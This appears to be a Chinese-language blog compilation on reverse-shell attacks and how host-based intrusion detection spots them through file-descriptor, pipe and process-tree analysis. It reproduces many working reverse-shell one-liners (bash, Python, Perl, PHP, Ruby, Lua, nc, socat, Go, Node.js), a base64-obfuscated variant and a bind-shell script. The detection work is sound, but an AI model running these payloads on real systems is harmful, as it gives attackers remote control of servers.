• 反弹shell的实现方式和检测方法——常规攻击可以直接检测,pipe方式需要结合关联分析(图关联最好),如果含有混淆脚本,需要无文件攻击检测


    看了几篇要点文章,阿里云做得最强。

    云安全中心反弹Shell多维检测技术详解

    更新时间:2022-05-19 14:02

    反弹Shell是黑客控制受害服务器的一种攻击手段,常用于受害服务器位于内网、受限于防火墙策略等无法使用正向连接的入侵场景。本文介绍反弹Shell攻击的现状、常规解决方法、分类与检测思想以及云安全中心针对反弹Shell提供的多维检测技术。

    背景信息

    反弹Shell是黑客(即Shell攻击者)用于控制受害服务器的一种手段。Shell攻击者指定服务端,并将需要受害服务器执行的命令(标准输入、标准输出、标准错误等)重定向到该服务端。受害服务器主动连接攻击者的服务端程序,攻击者的服务端通过监听来自受害服务器的请求,对目标服务器下发指令并获取执行结果,以达到攻击者可以控制受害服务器的目的。

    反弹Shell攻击现状

    阿里云云安全中心通过分析历史中云上环境的Linux服务器入侵事件,总结出了攻击链路中实现反弹Shell的语言及工具使用率,详情如下图所示。反弹shell实现的语言及工具使用率

    其中交互式Bash+/dev/tcp是使用最多的反弹Shell,/dev/tcp作为Bash的默认特性使得该反弹方式兼容绝大多数环境,因此使用率高。紧随其后的是兼容性较好且灵活易用的Python。随着Go语言的兴起,云上入侵事件开始出现Go反弹Shell。从上图可以看出弹Shell实现的方式灵活多样,每种语言都可以进一步延伸和扩展。因此,为了保障最优的检出效果,反弹Shell的检测方案需要综合考虑多种场景因素。

    常规检测方法

    常见的检测方案是通过正则匹配的方式,提取反弹Shell命令的特征去匹配命令日志、流量日志。该方案具有以下不足:
    • 命令日志采集不完整:例如通过Netlink等方式采集的日志,在碰到管道符、重定向时会无法采集完整的原始执行命令。而通过Patch Bash的方式记录命令日志,在遇到服务器使用Zsh、Ksh等其他Shell环境,或攻击者上传自己编译的Bash时会失效。
    • 正则匹配无法覆盖无穷无尽的文本对抗:攻击者可以不断挖掘出新的变形方式来绕过正则匹配。在实际业务场景中,过多复杂的正则匹配会带来更大性能压力,而通配性更广的正则匹配会带来更多误报。
    • 特征匹配失效:在网络流量被加密后,特征匹配会失效。

    分类检测思想

    因为表层对抗是无穷无尽的,检测需要由表及里,尽可能挖掘出更本质的解决方法。从检测的角度来看,反弹Shell的本质可以理解为:网络通信+命令执行+重定向方式。

    命令执行和网络通信借助重定向,可以构建出一条流动的数据通道。攻击者可以利用这条通道下发指令控制受害服务器。不同的实现方式组合在一起,就形成了多种多样的反弹Shell。例如:
    • 网络通信可以使用TCP、UDP、ICMP等协议,TCP协议再细分又可以包含HTTP、HTTPS协议等,UDP包含DNS等。
    • 命令执行可以通过调用Shell解释器、Glibc库、Syscall等方式实现。
    • 重定向可以通过管道、成对的伪终端、内存文件等实现。
    从检测的角度,可以将反弹Shell分为以下三种类型:
    • 第一类反弹Shell:直接重定向Shell的输入输出到Socket
      该类型反弹Shell最典型的例子是:
       
      bash -i >& /dev/tcp/10.10.XX.XX/666 0>&1
      以下介绍直接重定向Shell解释器的输入输出到Socket类型的常见案例。
      • 案例一:
         
        bash -i >& /dev/tcp/10.10.XX.XX/6060 0>&1
      • 案例二:
         
        python -c 'import 
        socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
        s.connect(("10.10.XX.XX",6060));
        os.dup2(s.fileno(),0); 
        os.dup2(s.fileno(),1); 
        os.dup2(s.fileno(),2);
        p=subprocess.call(["/bin/sh","-i"]);'
      • 案例三:
         
        php -r '$sock=fsockopen("10.10.XX.XX",6060);exec("/bin/sh -i <&3 >&3 2>&3");'
      • 案例四:
         
        perl -e 'use 
        Socket;$i="10.10.XX.XX";$p=6060;  
        socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
        if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");
        open(STDERR,">&S");
        exec("/bin/sh -i");};'
      • 案例五:
         
        lua -e 
        "require('socket');require('os');t=socket.tcp();t:connect('10.10.XX.XX','6060');os.execute('/bin/sh -i <&3 >&3 2>&3');"
      该类型反弹Shell通过重定向bash -i的标准输入、标准输出、标准错误到/dev/tcp Socket进行网络通信。下图可以帮助您理解重定向过程。第一类反弹Shell重定向过程
      这类反弹Shell的检测可以通过检测Shell的标准输入、标注输出是否被重定向到Socket或检测一些简单的主机网络日志特征来实现。第一类反弹Shell的检测
      云安全中心已支持检测此类型的反弹Shell,下图是检测出该类型反弹Shell后产生的告警。第一类反弹shell告警
    • 第二类反弹Shell:通过管道、伪终端等中转,再重定向Shell的输入输出到中转
      此类反弹Shell借助管道、伪终端等进行中转,例如下面这个典型案例将sh -i的标准输入、标准输出、标准错误重定向到命名管道/tmp/f,同时加密通信数据也流向该命名管道。
       
      mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect 0.0.XX.XX:666 > /tmp/f
      通过管道、伪终端等作为中转体,并与Socket打通,重定向Shell解释器的输入输出到中转体,有以下常见案例:
      • 案例一:
         
        nc 10.10.XX.XX 6060|/bin/sh|nc 10.10.XX.XX 5050 nc -e /bin/bash 10.10.XX.XX 6060 nc -c bash 10.10.XX.XX 6060 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.XX.XX:6060
      • 案例二:
         
        mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 6060>/tmp/f
      • 案例三:
         
        mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.XX.XX:6060 > /tmp/s; rm /tmp/s
      • 案例四:
         
        mknod backpipe p; nc 10.10.XX.XX 6060 0<backpipe | /bin/bash 1>backpipe 2>backpipe
      • 案例五:
         
        bash -c 'exec 5<>/dev/tcp/10.10.XX.XX/6060;cat <&5|while read line;do $line >&5 2>&1;done'
      • 案例六:
         
        telnet 10.10.10.10 6060 | /bin/bash | telnet 10.10.XX.XX 5050
      在某些变形的场景下,可能经过层层中转,但无论经过几层最终都会形成一条流动的数据通道。通过跟踪FD(文件描述符File Descriptor)和进程的关系可以检测该数据通道。第二类反弹Shell数据通道
      云安全中心已支持检测通过管道中转的反弹Shell,下图是检测出该类型反弹Shell后产生的告警。第二类反弹Shell云安全中心告警
      此类反弹Shell使用频率较高,其中利用伪终端中转的方式值得单独讨论,比如以下案例。
       
      python -c 'import 
      socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.XX.XX",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
      通过伪终端中转与通过管道等中转原理一样,但通过伪终端中转的检测难度大大提升,单从Shell的标准输入输出来看,和正常打开的终端没有什么区别。此外,一些场景如容器、各类产品Agent等也会有相似的日志记录,平衡漏报与误报的难度上大大提升。因此我们在文件描述符合检测方案的基础上,结合进程、网络等多种日志信息综合分析。以下是云安全中心检测出的利用伪终端中转方式的告警。云安全中心检测出的利用伪终端方式中转的反弹Shell告警
    • 第三类反弹Shell:编程语言实现标准输入中转,重定向命令执行的输入到中转
      第三种类型反弹Shell通过编程语言实现标准输入的中转,然后重定向命令执行的输入到中转,标准输出和标准错误中转形式不限制。以下是该类型反弹Shell的典型示例:
       
      python - c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('0.0.0.0',666))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,Shell=True);s.send(proc.stdout.read()+proc.stderr.read())\")"
      Shell攻击者使用编程语言实现标准输入中转,重定向命令执行的输入到中转,有如下常见案例:
      • 案例一:
         
        python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.10.XX.XX',6060))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), Shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
      • 案例二:
         
        lua5.1 -e 'local host, port = "10.10.XX.XX", 6060 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
      • 案例三:
         
        ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.XX.XX","6060");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

      在这种场景下,反弹Shell的命令执行和正常业务行为变得更加难以区分,对抗程度上升,除了从进程命令行尽可能的覆盖这类反弹Shell的特征以外,云安全中心通过异常命令行为序列、异常Shell启动模型检测该类反弹Shell。

      异常命令行为序列模型基于阿里云大数据实时计算平台,通过分析命令序列与攻击者获取Shell后行为相似度来判定是否为反弹Shell。而异常Shell启动模型结合多维度特征以及机器历史行为综合判定产出告警。以下是云安全中心已检测出的告警。第三类反弹Shell云安全中心告警

    云安全中心多维检测方案

    攻击与防御技术总是在不断的对抗中升级,攻击技术任何单点的突破都可能形成稳定绕过防御技术的局面。理论上任何一种反弹Shell检测都不是完美的,特别是第三类反弹Shell。云安全中心支持纵深检测,采用多维度交叉检测反弹Shell方案,通过进程特征覆盖、文件描述符分析、命令行为序列、异常Shell启动、二进制沙箱、脚本沙箱、流量特征覆盖、对抗行为检测共八项技术在不同入侵阶段埋点,从而最大程度保障检出效果。

    除了分类检测思想中介绍的更贴近反弹Shell本质的FD检测技术、从行为目的出发的异常命令行为序列检测技术、异常Shell启动检测和常规的命令、网络特征覆盖方案以外,云安全中心同时使用以下检测技术:

    • 脚本沙箱

      对于脚本类型的反弹Shell,云安全中心提供针对性的解决方案。

      云安全中心会对落盘脚本文件进行文件落盘检测,检测的语言包括但不限于Bash、Python、Perl、Vbs、PowerShell、Bat、JAR等。
       
      "${@~~}"  "${@^^}"   $BASH  ${*%%$9tcW\)zX}   <<< "$(  "${@~~}"  $'\162'''e${*}v <<< '
      }^^*{$   ")     }^^*{$  ;   }4S:\{\/CZ.!\?//@{$   }^^@{$   "}~~H7ONC{$"   s%  f\"t"n""ir*$p}@!{$
      },*{$ }L>JO%*{$ &&  }ca\L&[\%%@{$ '"'"'1&>0 3332/1.1.1.1/PCT/VED/ &> I- HSAB'"'"'=H7ONC    
      ($"   l}#VDG~g/g:fii\//*{$a"}~@{$"v'"'"'e'"'"'   }~*{$  '  ${@~}   ${@^}  ;   ${*%%S9;fj$^Y}    )"   ${*,,} ${@%r-,,}
      落盘脚本检测告警

      云安全中心会对混淆类样本,通过每种语言的Trace模式,动态解混淆后进行检测。

      近些年随着Java应用越来越多,在云上也出现一些利用JAR包进行反弹Shell的案例。云安全中心会对JAR等打包类文件进行静态反编译并结合动态的运行进行多维度判定。云安全中心检测JAR包反弹Shell
      随着攻防对抗程度提升,无文件攻击越来越流行,云安全中心针对无文件类反弹Shell提供了相应检测方案。云安全中心检测无文件类反弹Shell
    • 二进制沙箱
      云安全中心对于常见的C/C++、Go、MeterPreter Shellcode等二进制反弹Shell开发方式进行了特殊的识别和处理,综合导入函数特征、代码特征、二进制在沙箱中的动态行为特征等多个维度进行检测。二进制沙箱检测
    • 流量特征分析
      云安全中心覆盖常见Shell通信特征,辅助提升反弹Shell检测效果。覆盖反弹Shell流量特征检测
    • 对抗行为检测
      云安全中心覆盖常见绕过方式,如替换系统Shell、命令编码等,作为辅助手段提升检测效果。覆盖常见绕过方式检测

    上一篇:Linux系统木马查杀

    规则检测常规反弹shell

    我所理解的反弹shell,是外部人员通过web或者软件的漏洞,建立了一个数据流通向网络外部的shell执行环境。

    现在针对一些网络上反弹shell实例作说明:

    1. 反弹shell

    现在针对一些网络上反弹shell实例作说明:

    实例1,Bash反弹:

    Bash反弹,远程主机监听端口:

    nc -lvp 7777

    被入侵的机器反弹shell命令如下:

    bash -i >& /dev/tcp/192.168.7.61/7777 0>&1

     

    目标机执行后的结果如下:

    创建了一个常住进程“bash -i”, 它的得0和1文件描述符都指向socket。

    匹配规则:bash进程的0,和1文件描述符指向socket

     

     

    实例2,telnet反弹:

     

    远程主机监听端口:

    nc -lvvp 4444

    nc -lvvp 5555

     

    被入侵的机器反弹shell命令如下:

    telnet 192.168.7.61 4444 | /bin/bash | telnet 192.168.7.61 5555

     

    目标机执行后的结果如下:

    创建了bash进程,0和1描述符都指向了pipe,这两个pipe关联到两个telnet进程上。两个telent创建了socket外联。

    匹配规则:bash进程的0,和1文件描述符指向pipe

     

     

    实例3,nc(netcat)反弹:

     

    远程主机监听端口:

    nc -lvvp 4444

     

    被入侵的机器反弹shell命令如下:

    rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.61 4444 >/tmp/f

     

     

    目标机执行后的结果如下:

    创建了bash进程,0和1描述符都指向了pipe,这两个pipe关联到文件和nc上。

    匹配规则:bash进程的0,和1文件描述符指向pipe

     

    实例4,perl反弹:

     

    远程主机监听端口:

    nc -lvvp 4444

     

    被入侵的机器反弹shell命令如下:

    perl -e 'use Socket;$i="192.168.7.61";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

     

    目标机执行后的结果如下:

     

    创建了dash进程,0和1描述符都指向了socket。

    匹配规则:dash或者sh进程的0,和1文件描述符指向socket

     

    实例5,Python反弹:

     

    远程主机监听端口:

    nc -lvvp 4444

     

    被入侵的机器反弹shell命令如下:

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.7.61",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

     

     

    目标机执行后的结果如下:

     

    创建了bash进程,0和1描述符都指向了socket。

    匹配规则:bash的0,和1文件描述符指向socket

     

     

    实例6,php反弹:

     

    远程主机监听端口:

    nc -lvvp 4444

     

    被入侵的机器反弹shell命令如下:

    php -r '$sock=fsockopen("192.168.7.61",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

     

    目标机执行后的结果如下:

    创建了bash和dash进程,0和1描述符都指向了socket。

    匹配规则:bash或dash进程的0,和1文件描述符指向socket

     

    实例7,受害机主动监听:

     

    被入侵监听端口:

    #!/usr/bin/python2

    """

    Python Bind TCP PTY Shell - testing version

    infodox - insecurety.net (2013)

    Binds a PTY to a TCP port on the host it is ran on.

    """

    import os

    import pty

    import socket

     

    lport = 31337 # XXX: CHANGEME

     

    def main():

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        s.bind(('0.0.0.0', lport))

        s.listen(1)

        (rem, addr) = s.accept()

        os.dup2(rem.fileno(),0)

        os.dup2(rem.fileno(),1)

        os.dup2(rem.fileno(),2)

        os.putenv("HISTFILE",'/dev/null')

        pty.spawn("/bin/bash")

        s.close()

          

    if __name__ == "__main__":

        main()

    黑客主机机器主动连接如下:

    telnet 192.168.7.6 31337

     

     

    目标机执行后的结果如下:

     

    接受连接后:

    进程python的0和1变成socket:

    Bash进程3和4是socket。

    匹配规则:python进程的0,和1文件描述符指向socket

     

    总结

    归纳起来,就是具备执行环境的文件如果0和1文件描述符都关联到socket或者pipe,就认为它是反弹shell。

    常用的执行环境如下:

    Bash, dash, sh, python, php, perl等。

     

     

    关于反弹shell检测的简单思考

    反弹shell的本质是把bash/zsh等进程的 0 1 2 输入输出重定向到远程socket,由socket中获取输入,重定向 标准输出(1)和错误输出(2)到socket。定位到这个本质后,检测的思路也就有了。本文简单说一下几种检测方法。同样,由于进程通信的复杂性,bash进程的输入输出可能是一个pipe,本文也简单讨论一下这种情况的检测思路。

    demo1 /bin/bash 经典反弹shell

    一个经典的反弹shell的demo如下:

    # client:
    /bin/bash  > /dev/tcp/192.168.43.146/11111 0>&1 2>&1 &
    # server:
    ncat -lvvp 11111
    

    反弹成功后,/bin/bash的file descriptor(0 1 2)会被重定向。server上可以控制client的/bin/bash进程的0 1 2。

    理想情况下,如果反弹shell的本质可以归纳为file descriptor的重定向,那么检测所有进程的file descriptor是否被重定向即可。正常情况下 0 1 2 都不会被重定位给一个server。

    检测方法

    在反弹shell后,ps -ef查看不到/bin/bash文件描述符的重定位(见下图高亮部分):

    1. lsof

    使用lsof检测,如果出现了0 1 2 文件描述符的重定位,则存在反弹shell的风险。

    lsof -n | grep ESTABLISHED |grep -E '0u|1u|2u'
    # -n: 显示ip而不是域名
    

    2. /proc//fd

    查看/proc//fd 查看进程打开的fd来查看是否建立了socket链接:

    ls -al /proc/2633/fd
    

    3. netstat -anop

    查看是否有bash/sh等进程建立了socket连接。

    netstat -anop  |grep ESTABLISHED
    

    demo2 借助pipe 反弹shell

    绝大多数的反弹shell都是借住重定向socket来和 bash进程进行输入输出交互。如果存在管道符号,那么bash进程交互的则是一个pipe。例子如下:

    # client
    nc 192.168.43.146 7777 | /bin/bash | nc 192.168.43.146 8888
    # server
    ncat -lvvp 7777
    # server 
    ncat -lvvp 8888
    

    效果如下:


    此时,bash进程的输入输出都来自其他进程的pipe,/proc//fds的情况如下。可以看到0 1 都从pipe获取,非socket。如果检测反弹shell时,只检测socket则会存在漏报。

    检测思路

    如何检测这种情况呢?

    不管做了多少层的pipe,反弹shell的本质是将server的输入传递给client的bash,因此肯定存在socket连接。我们只需要递归查看pipe的输入,是否是来自一个socket。例如,跟踪pipe,发现pipe的进程建立了socket连接,那么就存在反弹shell的风险。(更严谨一点,需要定位到这歌socket和pipe的数据传递过程)

    总结

    反弹shell的本质可以定义为:一个client上的bash进程 可以和 server上的进程通信。

    而反弹shell的检测,本质上就是检测 shell进程(如bash)的输入输出是否来自于一个远程的server。

    由于进程通信的复杂性(例如pipe),会导致单纯的检测shell进程的0 1 2 是否来自socket会存在漏报。但是按照这个思路,检测shell进程的0 1 2 的来源,顺着来源继续跟踪,如果最终是来自一个socket。那么则存在反弹shell的风险。

    timeline:
    20190705夜
    20190917夜: 更新pipe 反弹shelldemo和检测思路
    


    检测方法

    1. 特征:shell(sh bash zsh)进程存在异常的stdin/stdout、异常参数、异常网络连接。
    2. 行为:检测大概率是在ssh登陆下才会使用的二进制文件(如ls/cat/ip/ipconfig/cd/chmod),1.如果发现这些进程的stdin/stdout和tty不一致则告警;2.如果发现这些进程的dip/dport/sip/sport和SSH_CONNECTION不一致则告警

    反弹手段和检测方法

    反弹方法检测方法
    bash -i >& /dev/tcp/ $ip/ $port 0>&1 bash进程存在异常的stdin/stdout,或者异常的argv,或者bash的进程树存在异常的网络连接bash进程的0,和1文件描述符指向socket
    telnet $ip $port | /bin/bash | telnet $ip $port 同上bash进程的0,和1文件描述符指向pipe
    rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc $ip $port >/tmp/f 同上
    perl -e ' .. ;exec("/bin/sh -i");};' 同上dash或者sh进程的0,和1文件描述符指向socket
    python -c 'import socket, ... ;p=subprocess.call(["/bin/bash","-i"]);' 同上bash的0,和1文件描述符指向socket
    php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");' 同上bash或dash进程的0,和1文件描述符指向socket
    受害主机通过程序(如python)主动监听 同上进程的0,和1文件描述符指向socket
    telnet c2_ip c2_port 0<SOME_DEVNAME | /bin/bash 1>SOME_DEVNAME 通过execve()检测大概率是在ssh登陆下才会使用的二进制文件(如ls/cat/ip/ipconfig/cd/chmod),1.如果发现这些进程的stdin/stdout和tty不一致则告警;2.如果发现这些进程的dip/dport/sip/sport和SSH_CONNECTION不一致则告警execve()调用
    socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:c2_ip:c2_port 同上
    msf反弹、apache后门模块、nginx后门模块 同上
     

    linux检测反弹shell

    1、bash -i >& /dev/tcp/192.168.110.78/6767 0>&1

    可以看到bash -i的输入输出和错误输出全部定位到了一个socket

    我们lsof看一下bash进程

    我们可以看到bash远程指向一个ip,那我们完全可以判定这是一个反弹shell。

     

    2、nc -e /usr/bin/bash 192.168.110.78 6767

    这里我们看到bash的输入输出都定位到了管道上,而这个管道指向父进程nc,而且这两个进程都连接了一个socket

    这两个socket都是指向其他机器,所以我们也可以断定为一个反弹shell

     

    3、mknod backpipe p && telnet 192.168.110.78 666 0<backpipe | /usr/bin/bash 1>backpipe

    我们可以看到,bash的输入是管道,输出是个文件,而talent的输入是个文件,输出是管道,形成了一个闭环,并且有socket行为,所以我们可以断定它为反弹shell。

    mknod backpipe p; nc 192.168.110.78 6767 0<backpipe | /usr/bin/bash 1>backpipe 2>backpipe 是类似的

     

    4、rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -I 2>&1|nc 192.168.110.78 6767 >/tmp/f

    这里我们发现bash下有三个子进程,但是仔细看,这三也是成环的,而且nc中有socket连接,所以也判定为反弹shell

     

    5、/usr/bin/tcsh -i >& /dev/tcp/192.168.110.78/6767 0>&1

    这里很多socket连接,bash下就很不正常,罪名成立

     

    6、bash -c 'sh -I &>/dev/tcp/192.168.110.78/6767 0>&1'

    bash子进程看起来啥也没干,但子进程的子进程在搞事情,杀之!

     

    7、python -c 'import pty;pty.spawn("bash")' >/dev/tcp/192.168.110.78/6767 <&1 2>&1

    我们可以看到bash虽然没有什么可疑操作,但是他的父进程python存在外连,那也不能惯着,杀!

     

    8、socat TCP4:192.168.110.78:6767 EXEC:bash,pty,stderr,setsid,sigint,sane

    我们发现bash和socat都有很多奇怪的外联,杀掉

    特殊、msf上线

    因为查杀msf会大大提高误报率,所以msf这里不要查

    反弹shell的常用手法


    简介

    如果我们需要到服务器上执行 Shell 命令,但是因为防火墙等原因,无法由客户端主动发起连接的情况,就可以使用反弹 Shell 来满足登陆和操作的需求。

    原理

    操作受害者机器,将某开放端口的数据发送到可执行命令的程序上,将结果返回给攻击机。攻击机发送向受害者开放端口发送命令,接收命令执行结果。

    反弹shell

    bash

    bash -i >& /dev/tcp/ip/port 0>&1

    0:标准输入;1:标准输出;2:标准错误。

    bash -i:产生一个交互式环境

    >&:将标准输出和标准错误结合,一起重定向给后者

    /dev/tcp/ip/port:建立一个tcp连接

    0>&1:将标准输入重定向到标准输出

    nc

    Linux命令-nc(端口监控、文件传输、反弹shell等)_lady_killer9的博客-CSDN博客

    python

    python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

    python -c command

    将字符串当做python代码执行

    同理,上面也是利用bash进行的反弹

    php

    php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'

    perl

    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

    ruby

    ruby -rsocket -e'f=TCPSocket.open("接收端ip",端口).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
    

    lua

    lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

     telnet

    	mknod a p; telnet 接收端IP 端口 0<a | /bin/bash 1>a
    

    Windows平台,可以使用powercat   reverseudpshell   icmpsh

    检测

    及时发现Bash进程启动事件

    检查Bash进程是否打开了终端设备,是否有主动对外连接

    防御

    防火墙限制

    Netlink监听,kill进程(详见腾讯云参考)

    参考

    ​​​​​​基于主机的反弹shell检测思路 - 哔哩哔哩

    常用的反弹shell总结_西部壮仔的博客-CSDN博客_反弹shell能干嘛

    自动化反弹Shell防御技术 - 云+社区 - 腾讯云

     

    HIDS-Agent开发之检测反弹shell

    阅读量    257093 |

     
    分享到: QQ空间 新浪微博 微信 QQ facebook twitter
    发布时间:2021-04-06 10:00:56

    介绍

    bash -i >& /dev/tcp/127.0.0.1/1234 0>&1  #TCP
    
    Listener:
    nc -nvlp 1234
    

    目标机执行后的结果如下:

    创建了一个常住进程“bash -i”, 它的得0和1文件描述符都指向socket。

    匹配规则:bash进程的0,和1文件描述符指向socket

    
    sh -i >& /dev/udp/127.0.0.1/1234 0>&1 #UDP
    
    Listener:
    nc -u -lvp 1234
    

    目标机执行后的结果如下:

    创建了一个常住进程“sh -i”, 它的得0和1文件描述符都指向socket。

    匹配规则:bash进程的0,和1文件描述符指向socket

    0<&196;exec 196<>/dev/tcp/127.0.0.1/1234; sh <&196 >&196 2>&196
    

    目标机执行后的结果如下:

    创建了sh进程,0和1描述符都指向了socket。

    匹配规则:sh的0,和1文件描述符指向socket

    exec 5<>/dev/tcp/127.0.0.1/1234; while read line 0<&5; do $line 2>&5 >&5; done
    

    目标机执行后的结果如下:

    匹配规则:某一个bash进程的0 文件描述符指向socket

    nohup bash -c 'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1'
    
    base64搞一下命令
    
    echo "nohup bash -c 'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1'" | base64 -w0
    echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNCAwPiYxJwo= | base64 -d | bash 2>/dev/null
    

    目标机执行后的结果如下:

    创建了bash进程,0和1描述符都指向了socket。

    匹配规则:bash的0,和1文件描述符指向socket

    telnet 127.0.0.1 1234 | /bin/sh #Blind
    
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet 127.0.0.1 1234 >/tmp/f
    
    rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet 127.0.0.1 1234 1>/tmp/bkpipe
    

    目标机执行后的结果如下:

    创建了sh进程,0和1描述符都指向了pipe。
    匹配规则:sh进程的0,和1文件描述符指向pipe

    telnet 127.0.0.1 1234 | /bin/bash | telnet 127.0.0.1 12345
    

    目标机执行后的结果如下:

    创建了bash进程,0和1描述符都指向了pipe。
    匹配规则:bash进程的0,和1文件描述符指向pipe

    perl -e 'use Socket;$i="127.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[127.0.0.1]:[1234]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
    export RHOST="127.0.0.1";export RPORT=1234;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
    
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    php -r '$sock=fsockopen("127.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

    目标机执行后的结果如下:

    创建了sh进程,0和1描述符都指向了socket。

    匹配规则:sh的0,和1文件描述符指向socket

    php -r 'exec("/bin/bash -i >& /dev/tcp/127.0.0.1/1234")'

    目标机执行后的结果如下:

    创建了一个常住进程“bash -i”, 它的得0和1文件描述符都指向socket。

    匹配规则:bash进程的0,和1文件描述符指向socket

    ruby -rsocket -e'f=TCPSocket.open("127.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

    目标机执行后的结果如下:

    创建了sh进程,0和1描述符都指向了socket。

    匹配规则:sh的0,和1文件描述符指向socket

    nc -e /bin/sh 127.0.0.1 1234
    
    如果nc 不支持 -e
    
    nc  127.0.0.1 1234 | /bin/sh #Blind
    nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
    rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc  127.0.0.1 1234 1>/tmp/bkpipe
    
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc  127.0.0.1 1234 >/tmp/f
    

    目标机执行后的结果如下:

    创建了sh进程,0和1描述符都指向了pipe,这两个pipe关联到文件和nc上。

    匹配规则:sh进程的0,和1文件描述符指向pipe

    lua -e "require('socket');require('os');t=socket.tcp();t:connect('127.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

    目标机执行后的结果如下:

    创建了sh进程,0和1描述符都指向了socket。

    匹配规则:sh的0,和1文件描述符指向socket

    Java

    r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
    p.waitFor()

    目标机执行后的结果如下:

    匹配规则:某一个bash进程的0 文件描述符指向socket

    Golang

    echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1234");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
    

    目标机执行后的结果如下:

    创建了sh进程,0和1描述符都指向了pipe。
    匹配规则:sh进程的0,和1文件描述符指向pipe

    Nodejs

    
    
    (function(){
        var net = require("net"),
            cp = require("child_process"),
            sh = cp.spawn("/bin/sh", []);
        var client = new net.Socket();
        client.connect(1234, "127.0.0.1", function(){
            client.pipe(sh.stdin);
            sh.stdout.pipe(client);
            sh.stderr.pipe(client);
        });
        return /a/; // Prevents the Node.js application form crashing
    })();
    

